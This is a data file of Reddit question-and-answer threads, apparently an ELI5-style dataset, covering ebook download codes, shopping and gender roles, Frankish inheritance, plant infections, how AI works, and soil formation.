{"q_id": "3g07ix", "title": "why don't physical copy's of books you buy come with a code to download a digital version?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3g07ix/eli5_why_dont_physical_copys_of_books_you_buy/", "answers": {"a_id": ["cttkxd5", "cttlbwy", "cttlmy4", "cttmxwe", "cttn1ok", "cttndgr", "cttnhu3", "cttnx2c", "cttoy46", "cttp1uy", "cttrjl0", "cttt3rj", "ctttakm", "cttu3od", "cttuicn", "cttuot7", "cttur2n", "cttv0pw", "cttw78x", "cttwq7y"], "score": [462, 33, 9, 14, 19, 13, 105, 2, 2, 2, 2, 4, 6, 3, 2, 3, 3, 2, 2, 2], "text": ["Book sellers *could* say, \"Buy the physical book and you get the digital version for free.\"\n\nBut then they miss out on the opportunity to sell you a different useful thing (the e-book) and earn more money.\n\nAs for-profit corporations, most book sellers have decided not to miss out on the money-making opportunity.", "also if you buy the book and get a download code,what's to stop you from giving either one to someone else? their profits were now cut in half", "Because it effectively halves the value of their product, you are basically selling two copies for the price of one. Even without considering the fact you have just enabled people to pirate it easily (or sell the keys themselves for a cheap legit copy), it will reduce profits.", "We are seeing this in movies though.  Buy the Blu-ray, get the itunes code included.  Are there not the same concerns there?", "I'm not going to tell you why. But I love you. I will buy you copy's of any book's you want.", "You're looking at this from a buyer's standpoint; as a buyer, this is something you'd like. But buyer's don't make those choices. So instead, look at it from a seller's standpoint: books, as they are, are already selling. As such, why give away something that you could also sell?\n\nPerhaps the best comparison here would be the DVD/Blu-ray combos that some companies sold for awhile. This was at a period when buyers were leery of switching to the new Blu-ray format, when people who had already built DVD collections were uncertain about starting over. Here, selling both formats together made sense because it *increased* sales, since it alleviated the major concern that buyers had, and created an incentive to start collecting Blu-rays. Those combo packs were useful because they helped nudge DVD-buyers into switching over, and the industry wanted people to stop buying DVDs and start buying Blu-rays.\n\nBut hardcopy books and e-books are already selling, so there doesn't seem to be any need for a comparable motivation, and the publishing industry isn't looking to \"switch over\" from one format to the other, but rather is happy supporting both formats. Since it's possible that some people may buy a hardcopy, and then later just decide owning an e-book is easier (and thus buy it again), or, even worse, that they might buy the book and give their download voucher to a friend who would no longer need to buy it themself, there's no reason to leave money on the table.", "Well I can't speak for everyone, but as a self-published author, _URL_0_ has a MatchBook program that allows me to click a button that says \"When someone buys the paper copy of this book, they also get the digital version for X\" where x is either free or a discounted price. This means that I can (and do) choose to let people who buy a paper copy of my work also get to download the digital format for free as well.\n\nI guess I have to provide proof so here's [Kindle MatchBook Program](http://www._URL_0_/gp/help/customer/display.html/?nodeId=201385000)\n\nand what the hell, [here's my book, too](http://www._URL_0_/Beyond-Plains-World-Myth-1/dp/1482332337/)", "Many people here seem to think this idea is insane. \"Two copies for the price of one! That's insane! What about the margins?\" I'm wondering how the music industry has been able to sustain this same practice, then. Almost every vinyl I've bought in the last few years has had a download code for the album in it. I'm choosing a more expensive option (vinyl) and I get the cheaper option (MP3) for free.\n\nSeems like publishers could afford to do this, especially if it would (as I expect) dramatically increase book sales to offer an .epub with the hard copy.", "Amazon actually has something similar to this: if you buy a physical copy from them (for most books), they give you a big discount on the digital version.\n\nSource: Amazon Kindle Matchbook\n_URL_0_\n\nEdit: typo (on mobile) and source", "Amazon actually does offer a discounted/free e-book for when you buy physical books or audiobooks from them.", "if i sold you a paperback book with a code for an ebook, you could turn around and sell that code online. I as the publisher would be losing out on 50% profits if everybody did that (exaggeration).\n\nNot only that, but how would books be packaged? Generally people go to a book store, open a book and read a few paragraphs before deciding if it's a good book to buy. If you're allowed to flip through the pages, what's to stop you from just taking the code from the book?\n\nAlso, I don't know if you're allowed to return books to book stores, but that could potentially be another consideration. buy the book, use the code, return the book. you just got the book for free.", "*Copies. \n\nAre you sure you can even read without basic understanding of English?", "Tl;dr: the codes get stolen.\n\nThe problem is theft of the codes from physical copies at brick and mortar book stores. I have bought books that have codes for digital versions or bonus material and I would say at least 1/2 of them were compromised. People scan or photograph the code/info needed to download and put the book back - just another form of piracy.  \n\nThe only way to overcome this would be specialized packaging that would prevent this, incurring a cost for the publisher and inconvenience to the customers. People attend a brick and mortar store so they can see, touch and examine the books. If they were encased in plastic wrap to avoid code theft, their experience is diminished.  \n\nEdit: forgot to mention that often the physical book publisher and the digital book publisher are not from the same company. Also there are formatting issues for Kindle, Fire, Kobo, etc.  ", "One thing the top answer hasn't addressed is the sheer logistical hassle of it. How do you give the customer the code? How do you combine it with a typical bookstore where people are free to browse through books first?\n\nPut it in the book? People are gonna steal the code and download the book without buying the physical copy.\n\nSeal the book so they can't do the above? People are going to hate you for it. Unlike movies or games, we book buyers love to flip through a book, read a few lines here and there, before buying it.\n\nHave the staff include it in the receipt? But you gotta convince them to do something that's of zero benefit to them.\n\nI'm not saying that it's just logistically impossible - there's workarounds, and most of this doesn't even apply to online retailers. We are seeing some sort of discount though - for some books you get a big discount on the ebook if you have the physical copy. \n\nAnd also, if you think about it, ebooks take effort too. Making sure that it woks well well with all the various devices and screen sizes and formats out there etc. Yeah, copying them once you have the first one is free, but it does take money to get to the first one. So I honestly don't think free is justified. But they should be really cheap.", "Money. They make more off the people who want the product in two formats.\n\nAmazon is slightly less dickish about it - if you buy a  (physical) book through them, you can buy the Kindle version for a discounted rate (usually ~$3).", "Why don't dvd's come with a free vhs version, or cds come with a free vinyl, digital cassette, and 8 track version. ", "Obligatory shoutout to [no starch press](http://_URL_0_), a publisher of awesome technical books. To quote:\n\n >  Free ebook edition with every print book purchased from _URL_0_!\n\nPart two of their awesomeness:\n\n**Can I Print My Ebook?**\n\nOf course. Your PDF, EPUB, and MOBI files are unrestricted and DRM-free. We trust our readers and we believe that ebooks should have the same rights as printed books.\"\n\nSee https://www._URL_0_/about_ebooks.htm for more.", "Some do. I buy a lot of [Manning](_URL_0_) books. I mostly buy e-books, but on the occasions when I buy print books, the book comes with an e-book voucher.", "Many books do this now.  Not a barcode, but often if you get a book in print you will get the pdf or kindle for free.  ", "Because the publishers want you to pay for both.  You already knew the answer, just wanted to stir the pot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["amazon.com", "http://www.amazon.com/Beyond-Plains-World-Myth-1/dp/1482332337/", "http://www.amazon.com/gp/help/customer/display.html/?nodeId=201385000"], [], ["https://www.amazon.com/gp/digital/ep-landing-page?ie=UTF8&amp;*Version*=1&amp;*entries*=0"], [], [], [], [], [], [], [], ["nostarch.com", "http://nostarch.com", "https://www.nostarch.com/about_ebooks.htm"], ["http://manning.com"], [], []]}
{"q_id": "6i074i", "title": "why is shopping considered a feminine activity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6i074i/eli5_why_is_shopping_considered_a_feminine/", "answers": {"a_id": ["dj2gkyo", "dj2ipbb", "dj2j651"], "score": [5, 2, 5], "text": ["Traditionally, the man earned the money and the woman ran the household. That involves buying everything that the household needs. That's changing, but even today women account for 80% of consumer spending in the US.", "Has been theorized to relate to hunter/gatherer job that are brains got wired evolutionary to lean toward.\n\nMen were hunters.  They go after something.  hunt it down bringing it home. They go shopping, they've got a clear and exact goal as to what they need.\n\nWomen were gatherers.  Going out, slowly wandering from place to place and picking the best things.  They may go out for one thing, but look at everything for something that is appealing and are looking for bargains more.  \n\nMuch of shopping is for food or clothes, which a lot of cultures place entirely in a woman's sphere of responsibility for maintaining for the family.", "Tradition.\n\nIn the old days work wasn't limited to 8 hours a day 5 days a week but basically all the time. Outside of nights and Sundays the men who earned the money didn't really get much of a break but the women who in many cases were working just as hard at home had a much more flexible schedule and buy things the household needed during that time.\n\nBeing able to use what money the household had in the best and most efficient way and get good deals became a skill that a good housewife would feel proud of. \"Shopping\" started out as a necessary feminine chore no different from cooking or sewing. Being good at it made you a good wife.\n\nOver the decades and generations the workload on the wage earners has dropped considerably, the amount of money left over each wage period that could be spend on luxuries increased and traditional gender roles ended up softening quite a lot.\n\nDespite that shopping for both necessaries and luxuries has staid women's work and become a feminine past time.\n\nMost of it is just cultural and because society says so, not because it sill makes sense in a meaningful way. Men can enjoy shopping for clothes that make them look good just as much as women, but society has different expectations of different genders and most just go along with it without thinking much about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4gcgm5", "title": "When larger realms like the Frankish Empire were divided upon inheritance, what happened with vassals who had holdings in different parts of the realm?", "selftext": "For instance, Clovis I divided his realm among his four sons, who all became independent. Charles Martell divided his realm among his two sons. The realm of Louis the Pious was also divided into three parts in the Treaty of Pr\u00fcm/Verdun, one of which would become the kingdom of France.\n\nNow my question: If a vassal of one of these kings had holdings in, say, East Francia and Lotharingia, would he give up part of his holdings (if yes, would he be compensated in any way?), or would he owe fealty to multiple kings?\n\nWere there different solutions between peaceful inheritances (Like after Charles Martell's death) and less peaceful divisions (like the Treaty of Pr\u00fcm)?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4gcgm5/when_larger_realms_like_the_frankish_empire_were/", "answers": {"a_id": ["d2gf7i8", "d2gg47q", "d2gtv6b"], "score": [23, 10, 17], "text": ["I can't speak for early Francia, but the concept of in effect being multiple separate people at once was fairly common. For example, Richard Coer de Lion, ruling his father's Angevin Empire, was both the king of England in his own right, but also the vassal of the King of France as the Duke of Normandy, Aquitaine, and Bretagne. Does this mean that England was part of France? No. Richard King of England and Richard Duke of Normandy, for legal purposes, are different people. This also happens the other way round. James VI of Scotland and James I of England for example were in reality the same person, but until the Acts of Union in 1707, The Crown of Scotland was separate and completely unrelated to the Crown of England, except in the respect that they happened to be worn by the same person at the time.\n\nOne of the more Humorous (in my opinion) anectdotes of the Norman period was when William ~~the conqueror~~ Rufus was warned of his half ~~brother~~ uncle, the bishop of Bayeaux.\n\nA: \"He is plottign against you sire, you should arrest him\"\n\nW: \"Arrest him? He's the bishop of Bayeaux, I can't arrest a clergyman\"\n\nA: \"My liege I am not asking you to arrest the bishop of Bayeaux, I'm asking you to arrest the Earl of Kent\"\n\nBecause, as it happened, the Bishop of Bayeaux and the Earl of Kent happened to be the same person, Odo.\n", "To build on what /u/Ulkhak47 said: it was also completely possible to be a de jure subject of multiple different sovereigns. Frederick I of Prussia was simultaneously the subject of the Holy Roman Emperor (as Frederick III of Brandenburg) and the subject of the King of Poland-Lithuania. The King of Poland-Lithuania was Augustus II the Strong, who also happened to be Elector of Saxony (as Frederick Augustus I). Therefore, according to convoluted feudal law, Frederick I was simultaneously the subject of his peer in Saxony and, separately, the subject of the Holy Roman Emperor (who, in turn, was the suzerain of Augustus in his capacity as Elector of Saxony but *not* in his capacity as King of Poland-Lithuania). \n\nThis all got even weirder when Frederick became King *in* Prussia, using the legal fiction that he was only a king when he was within the de jure borders of East Prussia. Augustus consented to this, so the King of Poland-Lithuania (in his new capacity as King *of* Prussia) became the suzerain of the King *in* Prussia. This also conveniently allowed Frederick to avoid running afoul of the old Imperial laws that said only Bohemia could be ruled by a king (because Brandenburg itself *wasn't* ruled by a king -- it was ruled by an Elector, who also happened to be a king outside of the empire). \n\nFeudal law is wonderfully bizarre. ", "While accurate for the periods their describing, I'm not sure if the previous answers are of very much help when talking about early medieval kingdoms. Certainly in the Carolingian period, things didn't work in the way described in previous answers, although the end result tended to be similar.\n\nThe first thing to note is that there was no 'feudal law' or set of uniform regulations which dealt with how the aristocracy dealt with the crown. There were certainly royal vassals (usually called *vassi dominici* in our sources), but they weren't ubiquitous and certainly not all of the major political players or aristocrats would have had that status, which implied a special oath and connection to the king, above and beyond what was expected of other subjects, and the status seems to have implied some sort of special treatment (including, but certainly not limited to, and certainly not always, receiving lands from the royal fisc to be held in benefice, i.e. temporarily or for the vassal's lifetime only). Going beyond the case of vassals, throughout the empire there was a recognized and clear distinction between allodial land (that is, land which was owned in full by the aristocrat and his family, passed down via inheiritance) and *honores*, which is what the bundles of offices, lands, privileges and duties which were allocated by the kings were called (which could be taken back by the king at any time and would be redistributed on the death of the incumbent).\n\nSo, back to your question of what happened when the Empire split? As a general rule, this was not really a problem for any but the highest ranks of the aristocracy. The majority of the Carolingian aristocracy was local and this there would have been very little change for them, unless they were unlucky enough to end up on one of the newly drawn borders. For the families who made up what historians have called the *Reichsaristokratie* (literally, the 'Imperial Aristocracy') things were more complex. These were a group of families who mostly had their origins in the Carolingian heartland of Austrasia (roughly the area between the Rhine and the Meuse), but who were used by the Carolingians to spread Frankish rule across the Empire, holding lands and important offices in places which did not identify as ethnically Frankish in particular (such as Italy, Bavaria, Septimania, etc.). When the Empire split, aristocrats help onto their allodial property in full, no matter where it was, in theory at least and in practice at least some of the time, as the will of Everard, Marquis of Friuli in the Kingdom of Italy shows. It was written in 863-4 and shows that he held lands which stretched from Italy up through the Alps in modern Switzerland and Swabia right up to modern Belgium. But this example also helps us see the practical consequences of what imperial divisions did to aristocratic families: they began to divide their own assets up geographically, with one son given the property in one kingdom, the other all the lands in the other kingdom. This is visible to a certain extent in Everard's will, and more explicit in other sources. It seems to be a fairly consistent pattern for aristocrats from the mid 9th century.\n\nAs for the *honores*, the bundle of offices and property granted out at the discretion of the king, you would lose them if you sided with the wrong brother/cousin, of obviously why would the new king reward someone who fought for a rival? So if you were, say, the Count of Orl\u00e9ans, but chose to fight for Lothar instead of Charles in 840, then you could expect to lose your county, although you might well be given new *honores* in Lotharingia as reward for you service. For this reason we often find aristocratic families often taking regional political strategies to protect their assets: one son/cousin fighting for each claimant, making sure that whatever the final division, all of the property would stay in the family.\n\nGood accessible sources for this sort of stuff:\n\n* Chris Wickham's chapter on the 'Carolingian Century' in *The Inheritance of Rome* (London, 2008), esp. pp. 401-4, where he discusses Everard's will.\n\n* MacLean, Innes and Costambeys, *The Carolingian World* (Cambridge, 2005) is a great introduction to the period as a whole, and has a separate chapter on the aristocracy and its relationship to the Kings.\n\n* Stuart Airlie's chapter on the Carolingian Aristocracy in the *NCMH*, vol 2. Airlie is my go-to source on anything in-depth on the Carolingian aristocracy, so follow the footnotes here for anything in-depth you need."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bwatvm", "title": "why do animals get infections in wounds but plants don't?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bwatvm/eli5_why_do_animals_get_infections_in_wounds_but/", "answers": {"a_id": ["epw9iyl", "epw9vn0", "epwa7x7"], "score": [16, 7, 3], "text": ["Plants can get infections in wounds.  That is usually what a blight on a tree is.  Plant infections are why some trees, like cedar, produce oils with antiseptic properties.", "Plants do get infected from wounds, grassy plants  have a shorter lifespan, but fungi, bacteria and insects can indeed cause problems especially to trees. The infections are often more localized since a tree can basically kill off a part to create a barrier between living cells and the outside. The circulatory system of trees is a but different as well, so infections do not spread as easily within the plants.", "Plants get infected by a variety of pathogens. Bacteria, virus, mold, fungus, etc etc. They even have disease vectors (like animals) - where flies, moths can carry diseases from plant to plant. \n\nIf plants were immune to infections, there wouldn't be as much need for insecticides, herbicides, miticides, vermicides, fungicides etc etc. Unfortunately there are not as many treatments that are effective once a plant is infected. Mostly you have to try to reduce the disease load and hope the plant recovers naturally. Plants also have ways of fighting some diseases/pests. Although they don't move, plants are a complex and sophisticated lifeform."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "afizq0", "title": "how a.i. is possible", "selftext": "I searched subreddits, and there's a few questions similar to this. None of them have gained any momentum. So... Is A.I. built the same as a computer chip? Is it just code that defines it? What kind of code? ELI5 though.. Because im not smart.. Thanks.\n\nEdit: Thanks for the answers!! One last question. I read a lot about medical research using \"AI\" and how it can detect things like Alzheimer's super early. If AI doesn't exist what are they using and how can they get away with calling it AI? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afizq0/eli5_how_ai_is_possible/", "answers": {"a_id": ["edyz0ow", "edz1c9m", "edz24jf", "edz2gxv", "edz6ftx", "edz80kr", "edz87vh", "edz8qpd", "edz9cos", "egwy7yl"], "score": [73, 8, 3, 167, 3, 13, 3, 4, 2, 2], "text": ["First, it's important to understand that AI is a lot of different things all wrapped up under one category.\n\nMost of what we call AI is just software (or code as you put it). There is hardware that will accelerate the kinds of calculations that this code requires but the chip itself would not be considered the AI.\n\nTwo common approaches to AI are neural networks and genetic algorithms. Neural networks are an attempt to recreate the way the brain works by having multiple nodes between the input and the output and the program will build connections between those nodes. The connection and strength of that connection will determine what the output is. This is a loose approximation of what the brain does when it learns.\n\nGenetic algorithms are a way for a system to get better over time. You start with a population of individual programs that are basically random in their configuration and then you test them on whatever task you are attempting to perform. Most of them will be awful because they're just acting randomly but 1 or 2 might be slightly better than random. \n\nYou take the best examples from the first generation and slightly mutate their configuration until you have a second population. Then you test them and hopefully some of these mutations were beneficial and you have 1 or 2 that are better than the best from the 1st generation. \n\nKeep doing this over and over and eventually you might end up with a program that can do the task you want without ever directly programming it how to do that task.", "\u201cAI is whatever hasn\u2019t been done yet\u201d stated Larry Tesler in 1980.\nAI has been coupled with different technologies during the years.\n\nCurrently, we are facing the problem with a set of techniques implemented in software. One of the most hyped and, since 2010, common technique is deep learning, which for sake of simplicity we will refer to as neural networks.\n\nA neural network is a set of connected nodes, called neurons, which takes a numerical (multidimensional) vector input and outputs one or more values. \nEach node basically applies a mathematical transformation (e.g. multiplication) to the input with respect to a weight (multiplication factor) and see whether the result activated or not the considered neuron, propagating the result to the next node.\n\n\nWhy deep learning? Because we are facing problems by creating very deep neural networks and training them on known data (a lot of data) to predict values when fed with unseen data. \nThe learning process consists in adjusting the aforementioned weights (factors) to obtain the known result given the known input.\n\n\nThe are plenty of operations that a node can perform, defining different network architectures. There are evidences that some architectures work better on certain problems and worse on others. \nSo right now, imo, AI is a architecture definition + data collection problem.", "I would focus on trying to understand machine learning first, which is having a real impact on the world. General AI isn't a thing yet and while it may be possible some day, ML is changing our social and economic landscape every day. ", "In the interest of sticking to the spirit of ELI5, I'm gonna gloss over some really interesting and complicated things.  If anyone has questions or wants greater detail, feel free to ask.  \n\n***  \n\nSince it's kind of an inherent property of computers that any computer can run any software, the development of AI is a programming exercise rather than an engineering one.  In order to understand what kind of programs may be AI, we first need to ask what AI *is*.  \n\nIn the perception of the general public there are essentially two categories of AI, one of which exists and one of which does not.  The latter is the kind of AI you see in science fiction movies like *Terminator*, *Eagle Eye* and *Blade Runner*.  We call this *artificial general intelligence*; AI which can perform general intelligent action (like humans and other animals do) or perhaps even experience a kind of consciousness.  The former is the kind of AI you see in software, websites and other applications such as self-driving cars, virtual assistants and those face-changing cellphone apps.  We call this *applied artificial intelligence*; AI for studying specific datasets, solving specific problems or performing specific tasks.  In general, you can expect that the continued development of applied AI will lead to the eventual emergence of AGI.  \nThe distinguishing mark of the kinds of problems we use applied AI to solve is that they are problems which previously we would call on a human (or at least an animal) to solve.  For a long time, human drivers, living assistants and human artists are how we would accomplish solutions to the problem examples I mentioned above.  Meanwhile, the natural strength of computers is in calculation alone.  While humans could do all sorts of things computers could not, computers could perform calculation much more quickly and accurately than humans can.  Thus, there was division between man and machine.  \n\nI hope all that context wasn't too boring because I'm about to get to an important point.  Now that we understand what AI is, we can rephrase OP's question in a way which gives us insight into the answer.  Instead of \"how is AI possible\", we ask this: **how can we make computers good at doing the things that people can do?**  And the answer, of course, is in finding ways to mathematically describe the problems that humans solve by means such as instinct and practice.  If we can come up with a way to describe human problems with numbers then we can use the computational strength of machines to solve those problems.  Thus the endeavour of AI programmers is all about collecting, understanding, framing and processing data.  It's about forgetting how a human sees a problem for long enough to boil it down to sheer numbers that a machine can work with and then returning to a human frame of mind so that the meaning behind those numbers is not lost.  \n\nThis leaves the question of how, exactly, it is done and I suppose the best way to answer is with a simple example.  For those who want to **TL;DR** past the bulk of this comment, here's where to jump in.  \nImagine you want to write a program for telling red things apart from blue things.  First, you're going to need to collect some pictures of red things and blue things and then you're going to label each of them with the correct colour.  You feed this information to the computer.  Now, digital images are stored as lists of numbers.  Each pixel has a value for how red (R), how green (G) and how blue (B) it should be displayed.  The computer can see that the images labelled \"red\" tend to have pixels with high values for R and low values for B while the images labelled \"blue\" tend to have pixels with high values for B and low values for R.  It can also see that the value of G just doesn't seem to matter much.  At this stage, the program has a rudimentary understanding of the labels \"red\" and \"blue\" as they relate to the pixel content of an image.  Now you can show it a new image and ask it whether the image belongs to the \"red\" set or the \"blue\" set and the computer will look at the pixels, do some math, and tell you whether the image has high R values or high B values.  The more images you use to train the computer with, the better it will understand the difference and the better a job it can do of telling red and blue apart in new images.  \n\n***  \n\nHopefully this helps.  Chances are I've missed out something important so please feel free to ask me questions or for greater detail on any point.  It's really an interesting topic and it's certainly the direction of the future.  ", "There are different kinds of AI. \u201cExpert Systems\u201d have been around a while and they\u2019re usually pieces of software that use \u201cif-this-then-that\u201d logic. Machine learning is another popular AI technique. If you wanted to make an app that could tell the difference between a picture of a cat, or a dog, you would input thousands of examples labeled \u201ccat\u201d or \u201cdog\u201d. Then, the software\u2019s core processing routing (\u201cthe algorithm\u201d) would \u201clearn\u201d to tell the difference.\n\nA popular \u201clearning\u201d algorithm is a neural network. Think of it as layer upon layer of simple software image filters. The top layer might recognize edges in the image, the the next layer might recognize the difference between edges that are cat-like vs edges that are dog-like, and at the end of the process, after the image has been filtered through all of these layers, the computer gives a \u201cscore\u201d of how likely it is the image is a cat or a dog.\n\nIt might be clear now that the better the example images you use, the better your software (\u201cthe model\u201d) is. Gathering high-quality examples is one of the hardest parts of AI!\n\nNow, when you give the software a new image it\u2019s never seen before, it can filter it through the neural network and get a score. For instance, it\u2019s 90% likely that this is a picture of a cat.\n\nThe software can be written in one of many languages. Printing the software routines onto a chip doesn\u2019t really change the way the software works other than it makes it faster.", "The most important thing is that AI is a misleading name. It would be FAR more accurate but a lot less sexy to call it \"Improved Pattern Recognition\". ", "Nowadays AI is a marketing name for machine learning. Simply put, it's a class of algorithms that  can create a function from inputs and outputs of this function. ", "To (more or less) quote a student who took a course on ML/AI: \"I'm disappointed. It's just a bunch of maths and statistics. Nothing special. I dunno... I expected more... magic\".", "When you say AI doesn't exist, you mean true AI doesn't exist, we have programs and ideas which give us AI which is very good at certain things.\n\nTo have true AI we would need a computer to think like a human, and asking if a computer can think, is like asking of a submarine can swim. \n\nCurrently AI is generally refering to machine learning using artificial neural networks, it's a software approach to modeling the human thinking process.\n\nAI in the medical field like what you mention will be a type of machine learning algorithm; they use thousands of images to train this AI to find patterns between a brain scan of a healthy person, and someone who will suffer in the future. So when you feed in an example image it will check its pattern matching history to see if it has a possibility of being a sufferers image.\n\nI have my university exam on introduction to AI tomorrow morning, wish me luck!", "what a wonderful subreddit idea! - and what a good question!\n\ni scanned through a few answers, but none of them seemed to be from people who have any contact with 5 year-olds, so given that i do, and also have spent 48 years studying AI, please let me have a go at what i would say if a real 5 year-old asked me that compound question - not that any have so far, but it's still early days for AI, and i'm not Noam Chomsky who i am sure is asked it all the time by 5 year-olds :)\n\n*Is A.I. built the same as a computer chip?* - it can be, yes.  there are also people trying to build artificial neural nets in hardware.\n\n*Is it just code that defines it?* - it can be, but it doesn't have to be; see above answer.\n\n*What kind of code?* you might be surprised, but it's just ordinary code, honestly!\n\n*\"AI\" and how it can detect things like Alzheimer's super early?* - well, you know how you can recognise your Mum's face; your brain does this by what we call \"pattern matching\".  AIs can do pattern matching too, from all kinds of information.  In this case, the patterns in the way a person with Alzheimer's disease behaves; what they forget and so on.  [some people and AIs are also looking at pictures of the insides of people's heads to see if they can tell the difference between someone with Alzheimer's and someone without].\n\n*If AI doesn't exist what are they using and how can they get away with calling it AI?* - but it DOES exist! :)  it has existed for a long long time - ever since 37,000 years ago! (i can explain where that number comes from if anyone asks)...\n\n...because the \"I\" in AI means \"intelligence\", and intelligence is nothing more magical than the ability to process information, even if an intelligence gets the wrong end of the stick, as we all do sometimes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "12hkpd", "title": "How/Why are the Earth's soils (clay, sand, loam, etc) distributed the way that they are? Are there any geological simulations or general rules that help predict what kind of soil will be where?", "selftext": "A friend and I are working on terrain generation in a prototype and I am trying to help him bring in more realism over random noisemaps, but I haven't been able to find much about how soils form and are the way that they are. \n\nWikipedia had some interesting graphics like [this image of global soil regions](_URL_1_) and [this image of the breakdown between sand, silt, and clay](_URL_0_) but I am not very good at interpreting these to produce any meaningful data I can use. \n\nBasically I want to know what kind of external forces or formulas govern why a desert formed where it did, why someplace would be silty instead of sandy, or just really anything to point us in the right direction. I imagine it has a lot to do with temperatures and water levels. I have very very basic understanding of things like 'Deserts are hot' or 'Riverbeds often have clay in them' (is that even true?) but I have no idea why the clay is there, and not forming huge clay deserts or something.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12hkpd/howwhy_are_the_earths_soils_clay_sand_loam_etc/", "answers": {"a_id": ["c6v4ejg", "c6v4k00", "c6vam81"], "score": [3, 7, 2], "text": ["As I'm sure you can guess this is a fairly complex problem with several different contributing factors. \n\nPhysical and chemical weathering processes erode parent material (ie rock) into mineral particles and dissolve minerals in solution, but weathering does not transport or deposit weathered minerals. \n\nProcesses like volcanic eruptions, wind, water, ice, and waves transport and deposit weathered minerals, are influenced by gravity, and upon deposition create landforms from which soil formation begins. Minerals weathered from rock determine the mineral content in sand, silt, and clay.\n\nIn a desert for example the major mineral in sand is called quartz and it is composed of silica and oxygen (SiO2). Sand grains vary in size depending on how long they are exposed to weathering. Quartz is very resistant to weathering; therefore, sand grains are larger in diameter compared to silt and clay particles.\n\nIf you want I can give a much more in depth and detailed response.  Just let me know how much more information you want. ", "You just asked a question that would require multiple college-level courses to even catch up to the basics on. And it would require multiple college-level degrees to understand *well*. Not many people fall into that category (I know I don't). \n\nMany factors go into soil development. You can approach the problem from different fields, and really only recently has substantial efforts been put fourth to synthesize all these fields into a cohesive soil development model. We are a long, long way off from really understanding how soils develop to the point of being able to make accurate predictions. For example, right now almost all modeling is done on the assumption that landscapes are in steady state - which of course is never the case. Hopefully in the next couple decades we will see effective non-steady state models become successful. Point is, this is not an easy problem.\n\nHere is *an extremely rough* crash course of the major points that come to my mind.\n\n* Climate - increasing atmospheric CO2 concentrations and water movement through a landscape can increase chemical (and if temperatures drop below freezing, physical) weathering. This can assist in the development of soils. Water naturally becomes slightly acidic easily, and will pull certain elements into solution, which can assist in the formation of clay and evaporates. Now it looks like many of the soils around the world are already being chemically weathered as much as they can be - meaning that increased water flow would not have a significant impact. But as a rule of thumb, this works. Deserts are deserts because they lack water, not because they are hot. Many deserts have limited chemical weathering (due to massive lack of water), which is just another way of saying that you should expect a lack of fine grained soils in deserts. As for why deserts form where they do, that is typically a product of their latitude (being at 30 degrees north or south), their distance from an ocean or large body of water, their being behind a mountain range (so you get a 'rain shadow' effect), and their proximity to cold ocean currents (which are more common on the eastern edges of oceans compared to western edges. So you will tend to find deserts 30 degrees north or south, away from the ocean, behind mountain ranges on the western side of continents. Good rule of thumb.\n\n* Slope - increased slope assists in the weathering of bedrock, through both physical and chemical means. Regions of very high slope (mountains) tend to be dominated by physical weathering, which means that most of the sediments coming out of mountain streams tend to be sand and gravels. Meanwhile, low slope areas are much more likely to hold onto soils long enough for clays to develop. Additionally, what grain size you expect to find in a location is very closely tied to the stream power in that location. And stream power is closely tied to slopes. So streams coming out of mountains where slopes are relatively high will deposit larger grains, and you'll usually only get fine grained sediments in very slow moving streams (although even fast streams can generate local slackwater deposits where silts and clays are deposited - but in much smaller percentages). So find places that have very low slopes, and you'll tend to find more silts and clays. Additionally, large bodies of water like lakes and lagoons will easily collect fine grained sediments (having low stream power). Most riverbeds do NOT have clay in them; at least not in substantial quantities. Sand dominates most stream systems, and fine grained particles are carried out into lakes or the ocean via streams and rivers.\n\n* Plants - plants can help both physically and chemically break down soils. They can assist in dissolving elements into solution, which can then result in clays and silts being deposited downstream. They can also assist in breaking apart bedrock into boulders and gravels through root action. In general, plants assist in the development of thick, robust soil profiles, which themselves assist in the formation of finer grained materials (since a grain of sand will sit around longer and being chemically eroded longer in a thick soil).\n\n* Temperature - does not seem to have a large impact (directly) on soil development and grain size. Laboratory studies have suggested otherwise since temperature speeds up chemical reactions, but none of these results have been widely confirmed in the real world. This probably is related to how most soils are transport limited (entirely or partially) and increased chemical weathering does not result in a large impact on soils/sediments. However, temperature can have secondary impacts on things like plant life, so it's not a simple problem. As I alluded to earlier, if you have temperatures that fluctuate above and below freezing, you can get freeze-thaw physical weathering (hydro-fracturing), which can be a dominate means of rock breakdown (into boulders and gravels) in some locations.\n\n* Dust - dust is a pretty huge contributor to soil development. On average, about eight tons of dust is deposited on every square kilometer of land every year (though it would vary by location of course). The Western US has ranges of dust deposition in the range of 2-20 tons per square kilometer per year, as a reference - although it's worth pointing out that figuring out how to measure long-term dust deposition rates is a developing science. The total amount of material that might be transported out of your average landscape on the planet is probably in the range of 100-150 tons per square kilometer per year. So dust can easily contribute 3-8% of the material being added to a landscape. There is a rule of thumb that dust should be  < 50 microns in size, but that is NOT universally true by any means.\n\n* Volcanoes - any place that has a large volcano within even hundreds of kilometers can be impacted by the contribution of very fine grained sediments from the volcano. Volcanic deposits, if explosive, can represent absolutely massive reservoirs of very fine grained material.\n\n* Rock Type - sandstones are going to be make up of mostly quartz, naturally. And quartz is extremely chemically stable. So where you have sandstones, you are going to lack silts and clays. Granites are largely quartz, but their micas and feldspars can be chemically eroded. Feldspars especially can produce clays - but this is not all that speedy of a process. On the other end you have mafic rocks (which don't exist in abundance on continental crust), which are typically very easily chemically weathered, and can easily produce very fine grained and dissolved particles. \n\nNote that chemical weathering is approximately linearly determined by surface area and concentration. So breaking a rock in half increases the total surface area for chemical weathering to act upon - and so you would the expect physical erosion mechanisms I mentioned to in turn increase chemical 